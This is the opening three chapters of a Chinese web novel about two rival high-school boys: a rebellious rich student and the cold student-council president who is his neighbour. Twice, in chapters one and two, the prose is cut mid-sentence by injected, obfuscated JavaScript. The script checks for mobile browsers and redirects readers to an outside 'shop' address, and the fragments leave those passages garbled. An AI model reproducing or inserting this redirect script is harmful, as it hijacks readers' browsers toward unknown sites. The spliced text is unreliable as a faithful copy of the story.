《别管我闲事》 1. 引诱 别管我闲事 林七年/文 Chapter.01 七月的傍晚大抵是又要下雨了。 梧桐叶间的蝉鸣裹着懊热的空气一浪一浪压下,电风扇无力地悲鸣着,教室里闷得厉害。 坐在靠门第二组最后一排的苟悠瘫在椅子上,擦了把眼镜上的水汽,语气多少有点绝望:“衍哥,你说我们班这破空调到底什么时候才能修好啊?实在不行,要不让咱妈给咱换个新的吧,不然课还没补完,我人怕是就要没了。” 旁边的少年微垂着眼睑,没搭理他,搁在手机屏幕上的手指快速一划,指尖一压,两秒后,屏幕变暗。 [大吉大利,今晚吃鸡] “卧槽,盛衍你开挂了吧,我都还没看见他人在哪儿呢,你就一枪爆头了?”前排的朱鹏摘下耳机,回过头,一脸难以置信。 苟悠呵呵一声:“人衍哥可是正儿八经国家发证的射击运动员,你能跟他比?” 朱鹏翻了个白眼:“这是一回事?” “怎么就不是一回事了?就印度那谁谁,不就是沉迷吃鸡,后来给送去奥运会了吗。要不是我们衍哥志不在此,指不定下届奥运场上就有他帅气的身影呢,是吧,衍哥?”苟悠朝盛衍抛了个媚眼,阿谀得很。 盛衍都懒得看他,往后靠上椅背,翘起椅子,随手捋了把被汗水浸湿的额发:“想换空调就直说。” 额发撩起的时候,露出眉侧那道尚还新鲜的暗红伤口,衬得他的五官漂亮得有些凌厉,加上那股子凡事无所谓的态度,养尊处优惯了的少爷气就出来了个十成十。 长得好,家世好,体育好,玩游戏也好。 难怪女生们都喜欢他。 不对,不应该只局限于女生,自己也挺喜欢他的。 尤其是知道实外的所有空调全是盛衍他妈赞助的之后,这份喜爱之情就愈演愈烈。 想到这里,苟悠嘿嘿一笑:“那先提前谢谢咱妈。” “出息。”盛衍看向朱鹏,“还来吗。” “来来来,必须来。” 朱鹏忙不迭地重启游戏。 这两天刚考完期末考,老师们忙着集中批卷,晚自习没人坐班,正好周末晚上,能玩一个小时,不抓紧时间抱大腿上分,简直就是浪费资源。 朱鹏顺势问道苟悠:“你来么,加上我妹子,正好四排。” “不来,我看书呢。” 苟悠敲了敲自己桌上那本黄封皮的厚砖头。 盛衍顺势瞟了一眼——《得到许愿系统后我走上了人生巅峰》 一看就不是什么正经玩意儿。 他兴致缺缺地收回视线:“这也叫书?” “这怎么不叫书啦,你不要歧视我们网络文学好不好。”苟悠推了推眼镜,“而且我觉得这本书特别适合你。” 盛衍眼皮都没抬。 苟悠拉近椅子,压低脑袋,小声道:“你知道这本书讲的是什么吗?” 盛衍:“说。” “讲的是一个处处被打压的学渣在生日那天喝醉之后,莫名其妙绑定了一个许愿系统,然后开始拳打学霸,脚踢学生会会长,拥抱校花,考上清北,走上人生巅峰的故事。我看到的这个地方,主角刚刚把学生会会长送去夜总会当少爷了,你说刺激不刺激。”苟悠声音虽小,却藏不住兴奋。 盛衍没忍住侧眸:“这种书怎么就适合我了?” 苟悠挤眉弄眼:“你难道就不想让那谁谁,也那什么什么?” “哪谁谁,哪什么什么。” “哎呀,还能哪谁谁,都是学生会会长了,除了秦......”苟悠兴冲冲地反问到一半,突然顿住。 他觉得刚才问他这话的声音好像有哪里不太对。 冷冷的,低低的,怪好听的,但不是盛衍的,而是从脑袋顶上飘来的。 有点像…… 苟悠呆呆抬头。 后门口果然多了个人。 个子很高,比例极好,校服纽扣系到最上面一颗,裤子规整熨帖得没有一丝褶皱。 眼型是狭长的内双,眼角冷窄,眸色黑沉,下颌轮廓锋利分明,唇线也直,皮肤在灯光下白得丝丝儿冒着凉气。 这会儿戴着[学生会会长]的铭牌,拿着笔和执勤本,面无表情地往后门口一站,整个高二六班连空调都不用换。 于是话到苟悠嘴边,灵机一变,就变成了义正辞严的一句:“除了秦子规,没一个好东西!” 出息。 盛衍听到声音的第一秒,就知道某个晦气冰块脸又来了,头都懒得回,只是在心里轻嗤一声,然后语气痞赖地应道:“你说得对,确实挺适合我的,反正要是我有这么一个系统,第一件事就是把世界上所有装逼犯都清理掉。” 挑衅味儿十足。 秦子规却当听不见似的,漠然垂着视线,在执勤本上自顾自地写着:“高二六班朱鹏苟悠,晚自习违纪,操行分扣一分。高二六班盛衍晚自习违纪扣一分,校服不合规扣一分,打架斗殴扣三分…… “等等。”盛衍不满打断,挑起眼尾,“你哪只眼睛看见我打架斗殴了?” 秦子规眼睑一耷,视线毫无阻碍地落上他眉侧那道约摸四五公分的伤口:“不然猫挠的。” 盛衍:“……” 你家猫能挠成这样。 “所以这次又是为什么打架?” 秦子规语气依旧冷漠得像个执法AI。 盛衍试图从里面听出些公事公办以外的情绪,但失败未遂,于是心里莫名生出一股没来由的烦躁。 刚打算恶狠狠地扔出一句“关你屁事”,就被一声清脆的“盛衍”打断。 他偏头一看,一个扎着丸子头的漂亮女生不知道什么时候出现在了后门口。 她似乎没在意旁边的秦子规,径直把手里一个印着多啦A梦图案的蓝色小盒子朝盛衍递了过来:“我才听说中午你因为我和职高那群人打架那事儿,谢了。这是创口贴,快贴上吧,别留疤了。” 所以盛衍中午溜出去打架是为了一班班花? 后门附近本来纷纷装死的众人闻言瞬间活了过来,摩拳擦掌,跃跃欲试,准备来个吃瓜三连。 然后就听到秦子规冷冷一句:“高二一班林缱,晚自习串班,扣一分。” 林缱难以置信地回头:“?” 秦子规面不改色:“高二六班盛衍午休时间寻衅滋事,扣三分。” 盛衍:“??” 秦子规笔尖机械划动:“高二六班晚自习私自闲聊者,各扣一分。” 吃瓜群众:“???” 似乎是感受不到周遭震惊愤慨的视线,秦子规语调依旧没有起伏:“顺便提醒一句,浅表性伤口用碘伏消毒就行,这种卡通图案的创口贴透气性不好,夏天用了,不如不用。” 说完就带着纪检部的两个干事转身离去,头也没回。 短暂的沉默后。 林缱回头问:“我怎么觉得他好像看我有点不太顺眼?” 盛衍低头转了下笔:“没,他是看我不顺眼。” 好像也是这么回事。 毕竟在实外高中部,没人不知道高二那两颗最帅的草彼此非常不对付。 一个年级第一,一个年级倒数第一,一个在最好的一班,一个在吊车尾的六班。 一个天天被贴上明日之星的专栏表彰,一个天天被国旗下通报批评。 一个一看就是根正苗红遵纪守法的好学生,一个一看就是无法无天惹是生非的富二代。 加上秦子规还是学生会会长,主管学生纪律,而盛衍偏偏又最不守纪律,于是一来一去,两人就闹得水火不容,势不两立。 所以这种场面,围观群众也已经习以为常。 林缱随口安抚道:“算了,人刚才没有收你们手机已经挺给面了。这创口贴你用不上的话,我就拿走了,你自己去医务室处理一下。” 盛衍“嗯”了一声。 明显没什么聊天兴致。 林缱也就不再逗留,大手一挥:“明天再给你送生日礼物。” 然后就慢悠悠地晃回了自己班上。 教室后排终于恢复宁静。 差点被没收手机的朱鹏和说秦子规坏话被当场抓包的苟悠也松了口气。 朱鹏回头小声问:“你中午出去打架是为了林缱?” “没。”盛衍应得松散,“就是前几天放学的时候撞上职高那个黄毛傻逼在后街堵林缱,今天中午去网吧的时候又撞上他们嘴里不干不净,就顺手教育了一顿。” 林缱长得好,成绩好,人也好,可以说是全年级公认的女神。 一听自己女神居然被隔壁职高的小混混给堵了,朱鹏顿时怒火中烧:“什么傻逼玩意儿居然敢欺负我们实外的女生?癞蛤蟆想吃天鹅肉,也不撒泡尿看看自己配不配!” 盛衍倒是对林缱毫无想法,也没他这么义愤填膺,只是单纯地见不得女生被欺负。 但是没想到那黄毛居然带了刀,如果不是他反应快的话怕是已经直接破相了,好在最后没什么大事,只是被那人给跑了。 不过这种败类不收拾老实的话,以后怕是还得犯抽。 盛衍正想着,手机屏幕亮了一下,掏出一看。 [网吧冉哥]:盛儿,职高那群傻逼又来了,我听他们的意思是明天晚上还要去堵你朋友,你那边有什么说法没? 实外平时是封闭管理,最近是因为考完期末考,其他年级都放假了,只剩下高二升高三的这群人还留在学校补课,所以午饭晚饭才被放到外面去吃。 别的没什么,就是方便了外校那些混混时不时地来找点麻烦。 至于说法…… 没什么说法。 不揍老实不行,那就揍老实。 盛衍简短回了个[等我],收起手机,从桌肚里拎出书包:“我先走了,有事叫我。” 朱鹏忙问:“这还上着晚自习呢,你往哪儿走?” 盛衍把书包往肩上一甩:“职高那群人在冉哥网吧。” 一听是这群捞比,朱鹏和苟悠立马来了精神:“这他妈不得带我们一个?” “带个屁。”盛衍想都没想,直接拒绝:“你俩爱干嘛干嘛去,别瞎凑热闹。” 说完单肩挎着书包,转身出了教室。 快到晚上八点,天色已经彻底黑了下来,校园里人烟稀少,保安也热得打盹儿。 盛衍熟门熟路地绕开走廊和生态园里的摄像头,走到教学楼后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727183|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面一个属于监控盲区的小竹林里,胳膊一抡,把书包扔过了围墙。 然后往后退了几步,正打算助跑一跃,身后突然传来着急的一声:“衍哥!等等我们!” 盛衍顿下脚步,回头一看,看见两个鬼鬼祟祟的熟悉身影正猫着腰往这边龟缩前行,忍不住嫌弃道:“你俩干嘛呢?” 两人费力蹭到他跟前,挺胸抬头,标准敬礼:“担心他们人多势众,将军寡不敌众,所以前来助阵。” 说得挺仗义。 盛衍一个字都懒得信:“想帮林缱出头就直说。” “嘿嘿。”被戳破了心思,朱鹏也不辩解,“我们确实是有这么个意思,不然总不能看着我们学校女生被欺负,然后什么事都不做吧?那多不爷们儿。” “就是。”苟悠接过话茬,“不过衍哥你放心,我们不会抢你风头的,等把那群龟孙打趴下,我们就撤,绝对不影响你在林缱心中独自发光发亮。” “对,我们绝对不会影响你和林缱的感情进程。”朱鹏坚定点头,神情看上去十分忠诚。 盛衍却没明白:“什么意思?” 俩人也没明白:“什么什么意思?” 盛衍皱着眉问:“我和林缱来的哪门子的感情进程?” 朱鹏和苟悠懵了:“你和林缱难道不是在搞地下情?” 盛衍:“??” 两人:“???” 盛衍终于没忍住:“你俩有病吧?” 朱鹏也没忍住:“我俩怎么有病啦?去年你生日在KTV的时候,林缱不是给你表白了吗?你也没拒绝,还送她回家了,我俩还有秦子规都偷偷看到了,你还不承认?” “谁说我没拒绝了?我是不想让一个女生在那种场合难堪。我送她回家的路上就说清楚了,大家以后只是朋友,然后这事儿就算完了,怎么到你们这儿就成地下情了?”盛衍觉得这俩人简直脑子有问题。 脑子有问题的两人:“……” 略微尴尬的沉默。 朱鹏和苟悠试探地问:“真不是?” 盛衍烦了:“要不我现在给林缱打个电话?” “不用不用。” 朱鹏和苟悠连忙摆手。 盛衍这人做事一向敢作敢当。 他都这么说了,那就肯定是真的了。 只是亏得他们还以为自己掌握了什么惊天大秘密,守口如瓶整整一年,结果都是误会。 “不过……”苟悠想到什么,欲言又止,忍了忍,没忍住,“不过既然你和林缱没什么的话,那你和秦子规是怎么闹掰的?” 盛衍:“?” 苟悠推了推眼镜:“之前不是一直传秦子规和林缱是一班的班对嘛,我们就以为本来是他俩有啥,然后衍哥你从中插足,横刀夺爱,再然后就和秦子规兄弟阋墙,反目成……” 眼看盛衍的表情以肉眼可见的速度暴躁起来,苟悠连忙语速飞快地补充道:“我们这么推测是有依据的,不然为啥你俩之前好得跟亲兄弟似的,结果去年你生日一过就突然掰了?不是因为这个,还能因为什么?” 这回轮到盛衍沉默了。 他总不能告诉他们,他和秦子规闹掰的原因他自己都不清楚吧。 只知道那天晚上他高高兴兴地去问秦子规要生日礼物的时候,只换来了秦子规一句“盛衍,我们不是一路人,以后还是保持距离各走各的路比较好。” 想到这儿,盛衍心里就憋闷得紧,一点儿也不想再就这个话题继续讨论下去,没好气地敷衍道:“没你们想的那些破事儿,我就是单纯地讨厌秦子规一天到晚装逼来装逼去还管东管西的,膈应得很。” “这倒也是。”苟悠回忆了一下晚自习秦子规的所作所为,表示理解,“不过……” “又不过什么?” 盛衍有点无语了。 苟悠推了推眼镜,镜片下的眯缝眼闪烁着看透一切的圣光:“不过衍哥,你该不会不喜欢女生吧?” 盛衍:“??” “不然就林缱那种等级的女神都主动给你表白了,你还能无动于衷?这不科学。”苟悠的表情语气十分笃定。 朱鹏闻言立马睁大眼睛,捂住衣领,往后退了两步,惊恐地看着盛衍,如临大敌。 盛衍:“……” 我可去你大爷。 他一句话都不想再和这俩智障儿童多说,直接起跳一跃,双手攀住围墙上沿,用力一撑,翻身而上,然后回了个居高临下的蔑视眼神:“放心,老子笔直,而且就算我是弯的,我喜欢秦子规那个没有感情的智能AI装逼犯......” 也不会喜欢你。 后半截儿话生生卡在了盛衍的嗓子眼里,没能说出口。 因为在他转身准备跃下的时候,他在围墙那头看见了一个熟悉的身影。 高个子,大长腿,窄内双,冷白皮。 正不偏不倚地站在他预计落点的地方,拿着笔,翻着本子,低头写着什么。 似乎是感受到盛衍的注目,眼皮微掀,迎上他的视线,漠然冷淡地送出四个字:“承蒙厚爱。” 然后就重新垂下眼睑,在本子上写完了那行漂亮的行楷——[高二六班盛小衍同学,言语引诱执法人员,当场抓获,已遂,加五] 2. 挑衅 Chapter.02 盛衍并不知道自己已经被冠上了“言语引诱执法人员”的可耻罪名,只是看着路灯下那个清峋挺拔的身影,觉得这人可真不要脸。 除了学校里那群颜值即正义还有点审美偏激的女生,谁稀罕厚爱他? 不过他怎么在这儿? 像是知道自己要逃课似的。 盛衍偏头看向墙内那两个脑子不太好的朋友。 墙内的朱鹏和苟悠连忙摇头,表明自己不是内鬼。 量这两人也没这胆子。 盛衍收回视线,从墙头轻巧跃下。 落点比之前预计的近了一些,将将好落在秦子规跟前,然后当着秦子规的面,弯腰抄起书包,掉头就走,连个多余的眼神都没给。 挑衅蔑视的意味很足。 秦子规似乎也已经习惯了他这个态度,表情毫无变化,笔尖划动,语调寡淡:“高二六班盛衍,无故旷课,翻/墙离校,操行分扣五。” 操行分这回事爱扣扣去。 盛衍从来没在意过,依旧头也不回。 秦子规也没拦他,慢条斯理重新翻了一页,继续写道:“高二六班朱鹏苟悠,无故旷课,翻/墙离校,晚自习私带手机……” 本来头也不回的盛衍瞬间停下脚步。 他回头看向秦子规:“你什么意思?” 秦子规:“没什么意思。” 盛衍没好气道:“我翻/墙是我的事,跟他俩没关系。” 秦子规不否认:“你现在原路返回的话,的确就跟他俩没关系。” 盛衍:“……” 威胁。 赤/裸裸的威胁。 他随便违反校纪校规是无所谓,但朱鹏和苟悠少不了要被家里一顿臭骂,因为自己连累了好兄弟这事儿,盛衍做不出来。 可是要他向秦子规服软,他更做不出来。 盛衍一时半会儿没能做出抉择,又觉得不能输了气势,就凶巴巴地瞪向秦子规,试图让对方感到害怕。 嗯,怕死了。 简直跟只三个月大的豹子一样吓人。 秦子规睼眸欣赏了一眼,然后散漫垂眸:“明天早上执勤记录就送到教务处了,你们自己看着办。” 执勤记录送到教务处后就是计入学生档案,会作为部分高校自主招生的平时分数参考,就不只是平时被扣操行分再被骂几句那么简单的事。 墙那头的朱鹏和苟悠听到这话,立马开始拍墙哀嚎。 “衍哥!冷静!别冲动!为了兄弟们的性命考虑考虑!” “是啊!衍哥!揍那群傻逼什么时候不是揍呢,消消气,先回来,我们从长计议!” “我已经趴在地上趴好了,保证您尊贵的脚上不会沾上一粒泥土!” “如果您翻墙手疼了,还有我的苟氏独家按摩治疗!” “回来吧!衍哥!” “哥!!!” 本来还想和秦子规好好干一架的盛衍听着两人的哀嚎:“……” 还有没有点骨气了。 但是再没骨气也是自己捡回来的兄弟,除了认,还能怎么办。 不过面子不能丢。 盛衍抬起下巴,有些恶劣地挑眉看向秦子规:“行,今天看在朱鹏和苟悠的面子上不跟你计较,但没下次了,不然我让你知道谁才是真正的老大。” 他个子有一米八,五官是具有攻击性的漂亮,挑眉看向秦子规时,眼尾上扬,带着张牙舞爪的挑衅意味。 而秦子规刚好比他高了个七八公分,垂眸迎上视线时,就带了些天然的压迫感。 盛衍不服气地偷偷提了点儿脚后跟,抬头挺胸,试图给自己长长气势。 四目直直相对,战争一触即发。 然后秦子规淡淡开口:“嗯,你是老大。” 盛衍冷哼一声:“废……嗯?” “你是老大,所以翻回去吧。” 秦子规合上本子,单手插兜,冷眼看着盛衍,整个人毫无情绪起伏。 轻松赢得了战役的盛衍:“……” 草,更憋屈了是怎么回事。 这种感觉就像是情侣吵架,女朋友雄赳赳气昂昂地打了一肚子草稿准备认认真真理论一翻,结果男方只是轻飘飘地扔出一句“你说得都对”,然后就把剩下的所有话给结结实实地给堵了回去,态度还是肉眼可见的敷衍和不走心。 但光从言语上看的话又像是对方在让步,自己如果再纠缠下去就会显得特别不知好歹,蛮不讲理,所以只能硬生生地憋着。 盛衍快给憋死了。 但他又不能直接甩手走人,毕竟朱鹏苟悠脑子再不好,也是两条人命。 于是沉默之后,他轻磨了下牙,冷笑一声:“行,认我当老大就行,乖弟弟。” 最后三个字发音略重,显出极致的挑衅和嘲讽。 然后就取下肩上的书包往墙里一掷,轻轻一跃,翻身而上,不留给对方任何回击的余地。 宽松的黑色T恤下摆随着轻盈敏捷的动作乘风荡起,露出一截儿纤韧劲瘦的窄腰和白皙肌肤上清晰可见的暗色淤青,在路灯的光芒下显得格外打眼。 秦子规微眯了下眼眸,往后靠上路灯,看着人影消失的地方,像是在想着什么。 而后半晌,撕下最后写过的那页纸,团成一团,随手掷进垃圾桶里,朝着与校门相反的方向缓步离去。 · 盛衍翻回墙内后,情绪显而易见的不佳。 抿着唇,冷着眼,一言不发,快步走回教室,然后椅子一拉,往上一坐,靠上椅背,长腿一支,沉默半晌:“苟悠。” 凉凉的两个字。 吓得苟悠当场一个激灵:“怎,怎么了,衍哥?” “拿来。” 盛衍靠在椅子背上,没偏头,只是左手一抬,伸到苟悠跟前,勾了两下手指。 苟悠微愣:“什么?” 盛衍面无表情:“那本把学生会会长送到夜总会当少爷的书。” 苟悠:“……” 看来终究还是走到了这一步。 他毕恭毕敬地把那本厚厚的黄色封皮的书放上了盛衍的掌心:“文笔稀烂,没有逻辑,但特别上头。” 上不上头不重要,重要的是学生会会长下场够惨就行。 盛衍瘫着脸,接过那本书,开始翻看起来。 的确如苟悠所说,文笔稀烂,没有逻辑。 前期主角学渣还特别惨,各种被那个人模狗样心机深沉阴险狠毒的学生会会长欺负。 盛衍越看越气,越看越气,正气得无比上头,刚要看到主角捡到许愿系统后马上要开始第一次翻身的时候,身后突然有人叫了他一声:“盛衍。” 盛衍回头,是一班副班长兼现任学生会纪检部部长,陈逾白。 陈逾白把一个袋子递给他:“给你的。” 打开袋子,里面装着一瓶碘伏,一袋棉签,一盒活血化瘀药。 盛衍挑眉:“谁给的?” 陈逾白靠上门框:“你就当学生会送关爱吧。” 学生会什么时候还有这项业务了。 盛衍心下狐疑,正打算问,余光瞥到陈逾白另一只手里捏着的牛皮卡纸本,封面四个红色楷体:执勤记录。 他眉梢微抬:“这玩意儿怎么在你这儿?” 陈逾白顺着他的视线瞥了一眼,举了举本子:“你说这个?一直在我这儿啊。” 盛衍:“?” 刚刚不是还在秦子规那儿吗? “秦子规查完你们班晚自习就给我了,剩下的勤是我帮他值的,所以一直在我这儿。怎么了,有什么问题吗?” 陈逾白不知道盛衍突然问这个干嘛,只是注意到后门三人组的神情突然都变得微妙起来。 盛衍稳了稳,问:“你们这个执勤本有几本?” 陈逾白没多想:“就一本,马上交到教务处去。” 盛衍:“……” 所以秦子规那个狗比站在围墙后面装模作样写了半天的到底是个什么东西? 还说什么明天把执勤记录交到教务处?! 结果是拿假执勤本驴他的?! 这他妈是把他当傻子玩吗?! 盛衍一拍桌子,直接起身,提步往外走去。 陈逾白问:“你去哪儿?” “一班,找秦子规。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727184|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛衍头也不回。 陈逾白靠着门框慢悠悠扔出一句:“他不在学校。” 盛衍回头:“?” 陈逾白解释道:“他要去上信息竞赛培训班,所以黄鼠狼给他开了假条,说晚自习不用上,可以随便出去。” 盛衍:“??” 黄鼠狼是他们教导主任,因为本名黄书良,又天天叫他们小鸡崽,所以人送爱称黄鼠狼,平时抓他们纪律抓得可严,尤其是每次见到盛衍脑门上就直接自动开始冒烟,开启生气模式。 对秦子规倒是纵容得不得了。 而秦子规这个老阴比居然仗着黄书良偏心,又是驴他又是威胁他,就是不让他逃这个晚自习,结果自己却开开心心地拿着假条浪迹天涯? 可真是个诡计多端,老奸巨猾,烂心眼子的老阴比! 盛衍快气炸了,随手抄起桌上一把美术刀就往外冲。 吓得苟悠连忙把他拦腰拽回来:“冷静,衍哥,我们冷静,杀人解决不了任何问题,想想明天就是你生日了,再等半个月就要放假了,为了美好的十七岁和美好的暑假生活,我们忍一忍!” 对,忍一忍。 盛衍握着美术刀深呼吸一口气。 这时候不忍一忍,被秦子规抓到把柄,被他告个黑状,到时候许女士再给自己报个七个八个补习班,这日子就没法过了。 所以忍,忍到暑假,夜深人静,月黑风高,孤男寡男,他再一刀割喉,了结狗比性命即可。 想到这儿,盛衍似乎冷静下来,重新坐下,翻开了面前那本黄色的小说,平静阅读起来,告诉自己退一步海阔天空,忍一时风平浪静。 陈逾白则眉梢一挑,像是明白了什么,然后慢悠悠地离开了六班后门口。 教室再次恢复宁静,只剩下唰唰的翻页声。 一页,两页,三页…… 三十四页,三十五页,三十六页…… 操,忍不了了! 今天不找秦子规把账算个清楚,他这口气就咽不下! 盛衍退一步越想越亏,忍一时越想越气,气到最后把桌面上的东西囫囵往书包里一塞,带子一甩,一个转身直接出了教室。 苟悠朱鹏甚至没来得及拦,就眼睁睁地看着他飞快地消失在了走廊尽头。 他身高腿长,走得极快,熟练地翻过围墙,穿过一条林荫街,径直进入了某个高档小区。 盛衍从小娇生惯养,没什么自理能力,许女士很不放心,就闲置了江对面那套老宅,在学校旁边最贵的楼盘买了个大复式,给他办了走读,方便就近照顾。 而秦子规母亲去世得早,是跟着他小姨和小姨夫长大的,他小姨和盛衍他妈又是手帕交,当惯了邻居,秦子规和他也一直是同一所学校,所以就一起搬了过来。 一梯两户,门对着门,假如把承重墙一打,和一家人就没什么区别。 盛衍以前觉得方便。 后来觉得烦。 再到了现在又觉得还是方便多一些。 比如这种情况下就可以提前回家,在这儿堵死秦子规,让他逃无可逃。 反正今天不问清楚秦子规为什么知道自己会逃课,又为什么知道自己什么时候会从哪儿逃课,还为什么非要在学校外面堵他威胁他甚至骗他就是不准他逃这个课,他就把盛衍两个字倒过来写! 盛衍站在电梯里,越想越窝火,越想觉得今天这场对峙自己必不能输。 于是对着光可鉴人的电梯门,整理起头发仪容来,抬着下巴,眯着眼眸,各种调换角度,尝试着找出一个看上去最凶最有气势的表情。 他把左脸斜侧二十度,下巴上抬三十度,眉尾上挑,轻扯唇角,似笑非笑,眸子沾染上三分凉薄三分讥笑和四分漫不经心,还装模作样地捏住领子,假装那里有条领带,松了一下,轻哂一声:“呵,男人……” 然后“叮”的一声,电梯门开了。 门外秦子规正站在他对面,双手插兜,眉梢微抬。 两人对望,四目相接。 五秒后,电梯门缓缓合上。 抬着下巴僵在原地的盛衍:“……” 他现在杀死秦子规。 算正当防卫吗? 3. 对门 Chapter.03 秦子规不死,他就会羞愧而死。 所以理论上来说算,但法律可能不允许。 盛衍心如死灰,目光悲凉。 电梯门开了,他抬手按关。 电梯门又开了,他再抬手按关。 电梯门又又开了,他再再…… 这次没关上。 秦子规伸手掌住电梯门,低声道:“电梯里闷,先出来。” 盛衍目不斜视:“要你管。” 秦子规又低声道:“我刚才什么都没看见。” 盛衍缓缓转动了一下眼珠:“真的?” “嗯,真的。” 秦子规的表情没什么情绪,看上去是真不打算拿这件事嘲笑他。 勉强还算懂点事。 盛衍这才收回视线,不情不愿地直起身,冷着眉眼,以一个成熟稳重的校霸大佬形象帅气地走出了电梯,试图假装无事发生过。 然而他刚走两步,就觉出不对,回过头:“你怎么在这儿?你不是去上竞赛培训班了吗?” 秦子规松开手,转过身:“今天身体不舒服,就没去。” 电梯门在他身后缓缓合上。 盛衍又问:“那你站在电梯前干嘛?” 秦子规:“小姨让我下去买点饮料。” 语气神情都挑不出什么毛病。 可是盛衍就是觉得哪儿不太对。 他一时也忘了自己怒气冲冲逃课回来的目的,只觉得有哪里很奇怪,余光一瞥,正好瞥见秦子规的右手,蹙起眉:“你手怎么了?” “没怎么。”秦子规收回右手,重新插进裤兜,“就不小心碰了一下。” “你唬弄鬼呢?我刚都看见了,你手指根那儿好几个擦伤,一看就是刚弄的,绝对不可能是不小心。”盛衍语气明显带了着急,上前一步,不管不顾地就把手往秦子规的裤兜里伸,试图把那只受伤的手拽出来。 过近的距离,秦子规连忙侧身一避。 盛衍的手就生生落了个空。 少年细长白皙的指节孤单地僵在半空中,显出一些落寞和尴尬。 秦子规眼睫微动,像是想说什么,但是到了最后,只有淡淡一句:“和你没关系。” 本来已经气了一晚上的盛衍在这个时候终于气笑了,收回手,冷笑一声:“对,你说得对,确实和我没关系,是我多管闲事了。” 说着就朝左边的2601径直走去。 秦子规本能地伸手去留他,却被他反身一个巴掌直接拍开:“你他妈别碰我!说了没关系听不懂啊!” 秦子规垂下手,站在原地:“盛衍,我不是那个意思。” “我管你哪个意思!” 盛衍看着他这个样子就来气。 好像世界上所有事情对他来说都是无关紧要的,显得别人的真情实感像个笑话。 “反正你自己说过的,咱俩不是一路人,所以以后我不管你的事,你也少管一点我的事,我逃课打架上网早恋带手机,都和你没关系!咱俩以后就各走各的路,谁也甭搭理谁,谁也别管谁,谁他妈说话不算数,谁就是狗!” 盛衍憋了许久的火气此时此刻一个劲儿地往脑门上涌,气到脑子都已经跟不上嘴巴,只知道噼里啪啦撂完一顿狠话后,心里总算爽了。 然后转身直接输入密码,打算来个“砰”的一声摔门而入,让秦子规那个冰块脸知道自己这次是真生气了。 然而就在他完成摔门而入恩断义绝的帅气之举的前一秒,身后2602的门先一步打开了。 紧接着许轻容女士利落直爽的声音就从身后砸了过来:“盛衍,你跟谁在这儿狗狗狗的呢?礼貌吗?快给子规道歉,然后过来吃饭。” “许姨,都是我的问题,不关盛衍的事。” 秦子规错倒是自觉。 盛衍没反驳,但也没回头:“妈,我自己在家吃。” “想得美,明天一早妈妈就要飞伦敦了,所以今天晚上先不跟你计较逃晚自习的事,但是你必须现在立刻马上,麻溜地给我滚过来吃饭。” 许轻容说完,又响起了秦子规小姨秦茹温婉的声线:“小衍,快过来,你妈说今晚提前给你过生日,所以你江叔给你做了一大桌子菜,全是你爱吃的。” 两尊菩萨压下,盛衍没了辙儿。 他虽然在外面混,在家里却一向乖觉,鲜少忤逆这两位高贵的太后,两道懿旨一下,再不情愿也只能转过身,然后假装看不见一旁的秦子规一样,瘫着脸往对门走去。 280平米的大复式,两面采光,环幕落地玻璃,位于南雾最好的学区,直通CBD,户型浮夸,物业费奇贵,没点家底子的人还真住不起这里。 所以与之相应的,许轻容这位单身母亲一年到头都忙得满世界乱飞,没法儿按点给盛衍过生日已经成了常态。 比如他的生日其实是明天7月7日,但因为许轻容明天要出差,所以就只能赶在今天过了。 盛衍对此倒也不介意,只是看着秦子规依着老位置在自己对面坐下的时候,觉得这个生日过得跟忌日没什么区别。 晦气得很。 不过他不愿意在长辈面前撂脸子,驳了长辈的心意,看着桌上满满一桌丰富的菜肴和一看就很昂贵的精致蛋糕,还是乖巧道:“谢谢秦姨江叔。” “谢什么谢,和秦姨还客气什么。老规矩,先许愿,再吃饭。江平,蜡烛和打火机呢!”秦茹反身喊了一句。 厨房里立马传来一声:“来了来了!” 江平是秦茹的丈夫,秦子规的小姨夫,一家上市科技公司的一把手。 长得挺威严,很有霸道总裁的气势,在家却只是个没地位的耙耳朵,听到秦茹叫他,围着围裙,拿着蜡烛,举着打火机就跑了出来。 把蜡烛在蛋糕正中间插好的时候,江平有些感慨:“时间过得真快,这一眨眼小衍都要18了。我记得第一次给他过生日的时候他才三岁吧。那时候他许愿非要把愿望说出来,我就吓唬他说愿望说出来就不灵了,结果他不信,年年许愿年年说,结果还年年都实现了,你说奇不奇。” 说到这事儿,盛衍也觉得挺奇的。 三岁的时候他还跟着姥姥姥爷住在老宅,那年是秦茹和江平第一次带着秦子规回南雾,也是两家人第一次一起过生日。 他年纪小,不懂事,就许愿说希望子规哥哥可以一直和他玩,不要走,结果秦子规后来就真的没有走。 四岁的时候,他许愿想拿幼儿园画画比赛第一名,结果就真拿了。 五岁的时候,特别讨厌机关单位那个大他两岁的胖虎,就许愿胖虎倒大霉,结果胖虎第二天就哭着叫他大哥。 就这样一直到了十六岁生日,年年许愿,年年应验,要说是多不得了的事,也不至于,但就确实还挺灵。 “不过也不全灵,去年的就没实现。”盛衍点蜡烛的时候,随口说了句。 许轻容在他另一边坐下:“你去年许的什么愿望来着?” 盛衍想了一下:“许的好像心想事成,有求必应。” “那肯定不行。”许轻容一副过来人的姿态,“这种愿望太抽象太贪心了,观音娘娘也帮不了你,要许那种具体的适可而止的才有用。所以今年快许个靠谱的,比如过两天出期末成绩的时候,你能离开年级倒数前十。” 